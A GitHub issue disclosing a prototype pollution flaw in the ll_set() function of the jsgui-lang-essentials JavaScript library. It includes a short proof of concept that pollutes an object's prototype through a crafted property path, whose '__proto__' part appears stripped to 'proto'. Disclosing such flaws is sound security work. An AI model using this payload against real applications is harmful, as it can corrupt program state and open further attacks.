Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype pollution in function jsgui-lang-essentials.ll_set() #1

Open
lelecolacola123 opened this issue Dec 13, 2021 · 1 comment
Open

Comments

@lelecolacola123
Copy link

jsgui-lang-essentials runs the risk of prototype contamination when using inherited attributes in the function ll_set()
the risk locate is in here
https://github.com/lelecolacola123/jsgui-lang-essentials/blob/473b8daa94fda22a17d7d7bfe514f18e8d60e33e/jsgui-lang-essentials.js#L1418

@lelecolacola123
Copy link
Author

the POC is as follow:
var jsgui=require('jsgui-lang-essentials');
var obj={};
console.log("start: " + obj.polluted); // undefined
jsgui.ll_set(obj,'proto.polluted',true);
console.log("end: " + obj.polluted); //true

the function ll_set in the file jsgui-lang-essentials.js in the line L1418 as:
var ll_set = function(obj, prop_name, prop_value) {}
three values are passed into this function ,and you didn't have the protection or identify whether the object maybe polluted,so if an attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant